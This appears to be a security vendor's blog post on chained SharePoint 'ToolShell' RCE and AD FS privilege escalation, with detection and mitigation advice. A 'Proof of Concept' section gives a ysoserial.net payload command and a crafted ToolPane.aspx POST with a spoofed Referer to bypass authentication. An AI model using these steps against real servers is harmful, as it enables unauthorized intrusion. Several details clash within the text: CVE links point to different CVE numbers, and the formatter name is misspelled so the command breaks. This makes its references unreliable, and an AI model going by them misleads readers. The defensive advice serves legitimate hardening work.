SharePoint & AD FS Zero-Days: Active RCE Exploits Explained

Unpatched on-premises Microsoft SharePoint and AD FS servers are no longer just liabilities; they are active gateways for enterprise-wide compromise.

Threat actors are actively chaining a critical deserialization vulnerability in SharePoint Server, tracked as [CVE-2025-53770](https://nvd.nist.gov/vuln/detail/CVE-2023-24955), with an elevation of privilege flaw in Active Directory Federation Services (AD FS), [CVE-2026-56155](https://nvd.nist.gov/vuln/detail/CVE-2021-43890). According to reports from Microsoft's Detection and Response Team (DART), the SharePoint flaw allows unauthenticated remote code execution (RCE) on affected on-prem servers, including SharePoint Server Subscription Edition, 2019, and 2016. The exploit, dubbed 'ToolShell' by researchers, targets the `ToolPane.aspx` endpoint and is a bypass of previous, incomplete patches for related vulnerabilities CVE-2025-49704 and CVE-2025-49706.

Note what this means: The enterprise perimeter, long thought to be defensible, is being systematically dismantled through legacy applications that are too complex to secure and too critical to decommission. This is not a failure of a single patch, but a systemic failure to manage the risk of on-premises infrastructure. The economic incentive for attackers to discover and weaponize these flaws far outweighs the typical organization's budget to proactively defend them. Why does this keep happening? Because the attack surface of a product like SharePoint is immense, and a single logical flaw can invalidate layers of security controls.

[Visual Graphic 1]

The SharePoint RCE Chain: From Deserialization to Domination

The primary vector for initial access is CVE-2025-53770, a deserialization of untrusted data vulnerability with a CVSS score of 9.8. Attackers exploit this by sending a specially crafted serialized object to the server. According to technical analysis, they bypass authentication by spoofing the `Referer` header in their request to the `ToolPane.aspx` endpoint, a technique that tricks the server into processing the malicious data. This is a classic case of [Exploitation for Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/).

Once the malicious payload is deserialized, the attacker gains the ability to execute arbitrary code with the privileges of the SharePoint application pool account. This typically leads to the immediate deployment of a web shell, a malicious script that gives the attacker persistent access and a command-and-control interface directly on the server, a tactic cataloged by MITRE as [Server Software Component: Web Shell (T1505.003)](https://attack.mitre.org/techniques/T1505/003/). Researchers have observed attackers using these web shells to steal sensitive configuration data, specifically searching for ASP.NET machine keys in `C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys`. These keys can be used to decrypt session tokens and other sensitive data, further expanding the compromise.

It seems the most reliable feature of on-premises SharePoint is its consistent ability to offer unauthenticated remote code execution to the discerning attacker. This incident is compounded by other recently disclosed flaws like CVE-2026-56164, an elevation of privilege vulnerability due to a missing authentication check. The result is a target-rich environment where one vulnerability often leads to another, allowing attackers to methodically dismantle a server's defenses.

> 🧠 CISO Brief: The risk extends beyond the SharePoint server itself. This machine is often domain-joined and has service accounts with privileges across the network. A compromise here is not a siloed event; it is a beachhead for lateral movement and a full domain compromise. The priority is to isolate these servers from the public internet immediately.

AD FS Under Siege: The Privilege Escalation Flaw

Once an attacker has a foothold on a server within the network, they pivot to escalate privileges. The AD FS vulnerability, CVE-2026-56155, provides a direct path to administrator rights. AD FS is the identity backbone for many organizations, handling authentication and federating identities to cloud services. A compromise here is catastrophic.

The vulnerability is described as an elevation of privilege due to insufficient access control granularity. An attacker who has already gained low-privilege access on the AD FS server—perhaps via the initial SharePoint compromise and subsequent lateral movement—can exploit this flaw to gain full administrative control of the system. This is a textbook example of [Exploitation for Privilege Escalation (T1068)](https://attack.mitre.org/techniques/T1068/).

With administrator access to the AD FS server, an attacker can forge security tokens, impersonate any user (including domain administrators), bypass multi-factor authentication, and access any resource federated with AD FS, such as Microsoft 365 or other cloud applications. They effectively own identity for the entire organization. The [U.S. Cybersecurity and Infrastructure Security Agency (CISA)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) has added both CVE-2026-56164 and CVE-2026-56155 to its Known Exploited Vulnerabilities catalog, mandating federal agencies patch them by mid-July 2026.

This AD FS flaw underscores the danger of monolithic, privileged systems. A single vulnerability can unravel an entire enterprise's security posture.

[Visual Graphic 2]

Proof of Concept: Reproducing the SharePoint RCE

This section provides a technical walkthrough for validating the presence of CVE-2025-53770. This is for authorized security testing purposes only.

1. Identify a Vulnerable Target: First, confirm the target is running a vulnerable version of SharePoint Server (Subscription Edition, 2019, or 2016) and that the `/_layouts/15/ToolPane.aspx` endpoint is accessible.

2. Generate a Deserialization Payload: Use a tool like `ysoserial.net` to generate a payload. The example below uses the `TextFormattingRunProperties` gadget to execute the `whoami` command and write the output to a public file.

```bash ysoserial.exe -g TextFormattingRunProperties -f BinarayFormatter -c "cmd.exe /c whoami > C:\inetpub\wwwroot\wss\VirtualDirectories\80\_app_bin\output.txt" ```

3. Craft and Send the Exploit Request: The generated payload must be Base64 encoded and placed within a specific parameter in the POST request. The `Referer` header must be spoofed to appear as if it originates from the server itself to bypass authentication checks.

```http POST /_layouts/15/ToolPane.aspx HTTP/1.1 Host: vulnerable-sharepoint.com Referer: https://vulnerable-sharepoint.com/ Content-Type: application/x-www-form-urlencoded Content-Length: [length]

__VIEWSTATE=&__VIEWSTATEGENERATOR=...&__EVENTVALIDATION=<BASE64_PAYLOAD_HERE>... ```

4. Verify Execution: A successful exploit will result in a file named `output.txt` being created in the `_app_bin` directory of the SharePoint web application. Browse to `https://vulnerable-sharepoint.com/_app_bin/output.txt` to see the output of the `whoami` command, which should be the application pool identity (e.g., `nt authority\network service`).

> 🧩 Tactical Note: If you are a defender, your logs should be monitored for any POST requests to `ToolPane.aspx` that do not originate from a legitimate administrative session. This is a high-fidelity indicator of an exploitation attempt.

Mitigation is Non-Negotiable: A Tactical Guide

Organizations that fail to act with urgency are choosing to accept the consequences of a breach. The following steps are mandatory, not optional.

1. Patch Immediately: Apply the security updates released by Microsoft for all affected SharePoint and AD FS servers. Refer to the [Microsoft Security Response Center (MSRC)](https://msrc.microsoft.com/update-guide/) for the specific KBs. This is the only way to fix the underlying flaw.

2. Assume Compromise: For any internet-facing SharePoint server, assume it has been compromised. Take the system offline and initiate an incident response investigation. Look for web shells, suspicious scheduled tasks, and unauthorized local accounts.

3. Enable AMSI Integration: In SharePoint Server Subscription Edition and 2019, ensure the Antimalware Scan Interface (AMSI) integration is enabled and configured for `Full` request body scanning. This can detect and block known malicious payloads at the web server level.

4. Rotate Machine Keys: If a compromise is suspected, the ASP.NET validation and decryption keys in the `web.config` files must be regenerated. This invalidates any stolen keys that could be used to decrypt session cookies or forge tokens.

5. Harden and Monitor: Deploy an Endpoint Detection and Response (EDR) solution on all servers. Monitor the `w3wp.exe` (IIS worker) process for suspicious child processes like `cmd.exe` or `powershell.exe`. Any such activity is a red flag for post-exploitation behavior.

Failure to perform these steps constitutes negligence. The vulnerabilities are public, the exploits are active, and the tools for mitigation are available.

FINAL VERDICT

The active exploitation of the SharePoint zero-day exploit and the AD FS elevation of privilege flaw represents a clear and present danger to any organization running this on-premises infrastructure. The risk is total compromise: attackers can achieve unauthenticated remote code execution, escalate to domain administrator, and exfiltrate data or deploy ransomware at will. The burden of this risk falls squarely on the shoulders of organizations that have not prioritized patching or have delayed migration to more secure cloud-native environments. The only path forward is immediate, aggressive patching, a thorough 'assume breach' investigation of all internet-facing systems, and a strategic re-evaluation of the security of all legacy on-premises applications.

Is your on-premises infrastructure secure? Don't guess. Contact BreachModal for an Adversarial Simulation engagement to validate your defenses against real-world attack chains.